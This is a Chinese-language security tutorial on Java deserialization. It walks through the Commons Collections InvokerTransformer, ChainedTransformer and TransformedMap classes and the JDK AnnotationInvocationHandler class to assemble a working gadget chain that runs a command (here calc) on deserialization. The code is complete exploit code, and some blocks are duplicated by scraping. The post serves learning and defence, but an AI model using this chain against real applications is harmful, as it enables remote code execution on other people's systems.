Java-Deserialization-Chapter-Ⅲ

经过一个多月的忙碌,终于是有时间来更一下此系列的文章了,本文中会涉及到java反射和动态代理,如果你对相关不了解,建议先去学习下相关知识

CommonsCollections

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

Transformer

Transformer是一个接口,提供一个transform方法由实现类决定具体的转换逻辑

image-20230530104453624

Transformer实现类中,我们主要来看一下InvokeTransformerChainedTransformer

InvokeTransformer

首先来看一下构造函数,Invoketransformer共有两个构造函数

image-20230530110459787

其中第一个只需要传入一个String类型的methodName,另一个除需传入methodName外,还需要指定方法的参数类型以及具体的参数值

接下来看一下实现类的transform具体实现

image-20230530105322165

transform中在拿到传入的object后,利用反射调用自身实例化时传入的方法,并将结果返回

到这里InvokeTransformer的作用我们就大致了解了,当我们实例化一个InvokeTransformer时传入一个要调用的方法名以及它的参数类型的具体的参数值

随后在调用transform时指定一下方法的调用对象,InvokeTransformer会自动利用反射去调用相关方法

如下利用Invoketransformer完成调用Runtime.getRuntime().exec("calc")

1
2
3
4
5
6
7
8
9
10
/*
* 调用的方法名 String
* 参数类型 Class[]
* 参数值 Object[]
* */
Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
/*
* 要调用哪个对象的上述方法
/*
* 调用的方法名 String
* 参数类型 Class[]
* 参数值 Object[]
* */
Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
/*
* 要调用哪个对象的上述方法
* */
transformer.transform(Runtime.getRuntime());

image-20230530110215777

ChainedTransformer

同样ChainedTransformer也是Transformer的一个实现类

image-20230530135259990

它的构造函数需要我们传入一个Transformer类型的数组

接着我们来看下transformer实现

image-20230530135357161

通过实现不难看出在调用 ChainedTransformer transform 方法时,会循环数组,依次调用 Transformer
组中每个 Transformertransform 方法,并将执行的结果传递给下一个 Transformer,完成一个链式的调用

TransformedMap

有了上面的ChainedTransformer我们现在可以使用链式调用完成命令执行,接下来就需要找一个在对象操作时触发我们的ChainedTransformer调用的桥梁-TransformedMap

image-20230530140323100

从声明上不难看出,TransformedMap继承自AbstractInputCheckedMapDecorator作为装饰器使用,可以理解为Map提供增强功能

单从代码上可能有点不好理解,看下面的类图就一目了然了

image-20230530140931695

当我们用TransformedMap装饰一个map,并进行put

image-20230530141254071

TransformedMap将会自动每个元素的transformer方法,这也就和上面ChainedTransformer衔接起来了

image-20230530141357828

同样我们使用TransformedMap并结合ChainedTransformer完成调用Runtime.GetRuntime().exec("calc")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//定义transformer数组并结合invoketransformer完成runtime调用
Transformer[] transformers = new Transformer[]{
//ConstantTransformer用于初始化Runtime对象
new ConstantTransformer(Runtime.class),
//Class.getMethod(String, Class[])
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
//invoke(Object obj, Object... args)
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"})
};
//将构造好的Transformer[]包装进ChainedTransformer用于链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,Object> hashMap = new HashMap<>();
//使用TransformedMap修饰HashMap
Map map = TransformedMap.decorate(hashMap,chainedTransformer,null);
//put时触发key或value的transformer,完成执行
map.put("S0cke3t",//定义transformer数组并结合invoketransformer完成runtime调用
Transformer[] transformers = new Transformer[]{
//ConstantTransformer用于初始化Runtime对象
new ConstantTransformer(Runtime.class),
//Class.getMethod(String, Class[])
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
//invoke(Object obj, Object... args)
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"})
};
//将构造好的Transformer[]包装进ChainedTransformer用于链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,Object> hashMap = new HashMap<>();
//使用TransformedMap修饰HashMap
Map map = TransformedMap.decorate(hashMap,chainedTransformer,null);
//put时触发key或value的transformer,完成执行
map.put("S0cke3t",1);

image-20230530142219177

AnnotationInvocationHandler

到目前为止我们找到了完成反序列化漏洞的两个关键步骤执行点利用链,接下来还需要一个触发点也就是重写了readObject的类来将整个过程串起来

本节内容涉及到java动态代理的一些内容和特性,不了解的朋友可以先去学习一下动态代理基础知识

AnnotationInvocationHandlerJDK原生类,用于注解形式的动态代理

先从readObject看起

image-20230530143928771

首先readObject通过getInstance获取到type对应的注解类型,而要type的条件在构造函数中也有要求

image-20230530144620094

type必须是一个注解,有且只有一个父接口并且是Annotation,只有满足这些条件typememberValue才会被赋值

回到readObject

在拿到注解类型后调用类型的memberTypes获取到可注解可设置的值

image-20230530145151855

随后使用while循环这个map并设置其中的值,但在设置值之前有一个条件

memberValues中的值和获取到的注解类型中的值存在相同的值,并且这个值不是ExceptionProxy的实例也不能是memberValues的实例

image-20230530150752285

到这里我们整个过程就串起来了

整理一下思路

首先我们需要一个AnnotationInvocationHandler根据构造函数需要传入一个注解类一个Map,并且根据上面赋值要求我们Map中的key要和注解类中有同样的值

根据这个思路可以找到很多可以使用的注解类,比如Target,Resource,Generated等,笔者这里使用Resourcename属性

image-20230530153408457

之后将这个map使用TransformedMap进行封装,使用TransformedMap进行修饰

最后就是上面讲到的利用InvokeTransformer完成链式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Map<Object,Object> hashmap = new HashMap<Object,Object>();
//注解类中必须有的属性
hashmap.put("name", 2);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//Class.getMethod(String, Class[])
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
//invoke(Object obj, Object... args)
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map transformedMap = TransformedMap.decorate(hashmap,null,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
//由于使用默认修饰符,需要获取访问权限
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Resource.class,transformedMap);
//测试
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(handler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new Map<Object,Object> hashmap = new HashMap<Object,Object>();
//注解类中必须有的属性
hashmap.put("name", 2);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//Class.getMethod(String, Class[])
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
//invoke(Object obj, Object... args)
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"cmd.exe /c calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map transformedMap = TransformedMap.decorate(hashmap,null,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
//由于使用默认修饰符,需要获取访问权限
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Resource.class,transformedMap);
//测试
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(handler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();

image-20230530154001010

当然除了使用TransformedMap还可以使用LazyMap做为触发条件,其中涉及到的操作会比TransformedMap稍微复杂一点。这部分内容有时间再补充

That’s all